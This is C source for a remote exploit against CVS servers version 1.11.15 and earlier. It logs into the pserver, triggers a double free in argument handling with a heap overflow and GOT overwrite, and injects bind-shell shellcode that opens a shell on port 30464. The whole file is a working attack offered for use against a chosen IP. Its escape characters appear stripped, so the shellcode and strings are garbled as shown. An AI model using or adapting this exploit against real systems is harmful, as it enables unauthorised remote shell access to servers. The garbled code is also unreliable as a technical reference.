#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
char shellcode[] =
"xebx18"
"AAAAAAAAAAAAAAAAAAAAAAAA"
"x31xc0"
"x31xdb"
"x31xc9"
"x31xd2"
"xb0x66"
"xb3x01"
"x51"
"xb1x06"
"x51"
"xb1x01"
"x51"
"xb1x02"
"x51"
"x8dx0cx24"
"xcdx80"
"xb3x02"
"xb1x02"
"x31xc9"
"x51"
"x51"
"x51"
"x80xc1x77"
"x66x51"
"xb1x02"
"x66x51"
"x8dx0cx24"
"xb2x10"
"x52"
"x51"
"x50"
"x8dx0cx24"
"x89xc2"
"x31xc0"
"xb0x66"
"xcdx80"
"xb3x01"
"x53"
"x52"
"x8dx0cx24"
"x31xc0"
"xb0x66"
"x80xc3x03"
"xcdx80"
"x31xc0"
"x50"
"x50"
"x52"
"x8dx0cx24"
"xb3x05"
"xb0x66"
"xcdx80"
"x89xc3"
"x31xc9"
"x31xc0"
"xb0x3f"
"xcdx80"
"x41"
"x31xc0"
"xb0x3f"
"xcdx80"
"x41"
"x31xc0"
"xb0x3f"
"xcdx80"
"x31xdb"
"x53"
"x68x6ex2fx73x68"
"x68x2fx2fx62x69"
"x89xe3"
"x8dx54x24x08"
"x31xc9"
"x51"
"x53"
"x8dx0cx24"
"x31xc0"
"xb0x0b"
"xcdx80"
"x31xc0"
"xb0x01"
"xcdx80";
void login(char *, char *, char *);
struct sockaddr_in s;
int sock;
void xp_connect(char *ip)
{
char buffer[1024];
char temp[1024];
int tmp;
s.sin_family = AF_INET;
s.sin_port = htons(2401);
s.sin_addr.s_addr = inet_addr(ip);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Cannot create socketn");
exit(-1);
}
if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) <
0)
{
printf("Cannot connect()n");
exit(-1);
}
}
void xp_write(char *data)
{
if(write (sock, data, strlen(data)) < 0)
{
printf("write() failedn");
exit(-1);
}
}
void xp_receive()
{
int tmp;
char buffer[1024*2];
if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
{
printf("read() failedn");
exit(-1);
}
printf("%s", buffer);
}
#define GOT_MEMCPY 0x80d2b4a
#define SHELL_ADDR 0x080cda20
char *egg(unsigned int what, unsigned int where)
{
char *ptr, *buf;
int i=0;
int size = strlen(shellcode);
buf = (char *)malloc(1250);
ptr = buf;
for (;i<1248;) {
*( (int **)ptr ) = (int *)( where - 8 );
ptr+=4;
*( (int **)ptr ) = (int *)( what );
ptr+=4;
i+=8;
}
buf[1250] = '';
ptr -= size;
strcpy(ptr, shellcode);
ptr = buf;
return ptr;
}
unsigned char shifts[] = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };
char *scramble(char * str)
{
int i;
char * s;
s = (char *) malloc (strlen (str) + 3);
memset(s, '', strlen(str) + 3);
*s = 'A';
for (i = 1; str[i - 1]; i++)
s = shifts[(unsigned char)(str[i - 1])];
return (s);
}
#define LOGIN "BEGIN AUTH REQUESTn/home/cvsrootn%sn%snEND AUTH
REQUESTn"
#define REQUEST "Root %sn"
void login(char *login, char *password, char *repo)
{
char *buf, *ptr, reply[1024];
char *rep, *rp;
buf = (char *)malloc(1024);
rep = (char *)malloc(512);
ptr = buf;
rp = rep;
sprintf(ptr, LOGIN, login, scramble(password));
sprintf(rp, REQUEST, repo);
ptr = buf;
xp_write(ptr);
xp_receive();
xp_write(rp);
}
char argumentx[] = "Argumentx %sn";
char argument[] = "Argument %sn";
char trash[] = "FCUK";
char str[] = "Argument x42x42x42x42x6exffxffxffx1cxfcxffxff"
"xf0xffxffxffx41x41n";
void overflow()
{
char *data, *dptr, *buf, *bufp, *eg, *arg, *aptr;
int i;
data = (char *)malloc(111111);
dptr = data;
buf = (char *)malloc(111111+20);
bufp = buf;
arg = (char *)malloc(1500);
aptr = arg;
memset(dptr, 'x41', 111111);
sprintf(bufp, argumentx, data);
xp_write(bufp);
eg = egg(0x80d2b4a, 0x080cda20);
sprintf(aptr, argument, eg);
for (i=0 ; i<50; i++)
xp_write(aptr);
xp_write(str);
xp_write(trash);
}
void usage(char *name)
{
printf("CVS <= 1.11.15 Argumentx double free() remote exploit by Gyan"
"Chawdhary (gunnu45@hotmail.com)n"
"Usage: %s <options>n"
"-i <target IP address>n"
"-l <login>n"
"-p <password>n"
"-r <repository path>nn", name);
}
main(int argc, char **argv)
{
int c;
char ip[16], user[32], pass[32], rep[512];
ip[0] = 0;
user[0] = 0;
pass[0] = 0;
rep[0] = 0;
if (argc < 2) {
usage(argv[0]);
exit(0);
}
while ((c = getopt(argc, argv, "h::l:p:i:r:")) != -1) {
switch(c) {
case 'h':
usage(argv[0]);
exit(0);
case 'i':
strncpy(ip, optarg, sizeof(ip));
break;
case 'l':
strncpy(user, optarg, sizeof(user));
break;
case 'p':
strncpy(pass, optarg, sizeof(pass));
break;
case 'r':
strncpy(rep, optarg, sizeof(rep));
break;
}
}
if(ip) {
printf("Connecting to vulnerable CVS server ...");
xp_connect(ip);
printf("OKn");
}
printf("Logging in ...");
login(user, pass, rep);
printf("OKn");
printf("Exploiting the CVS error_prog_name double free now ...");
overflow();
printf("DONEn");
printf("If everything went well there should be a shell on port
30464n");
}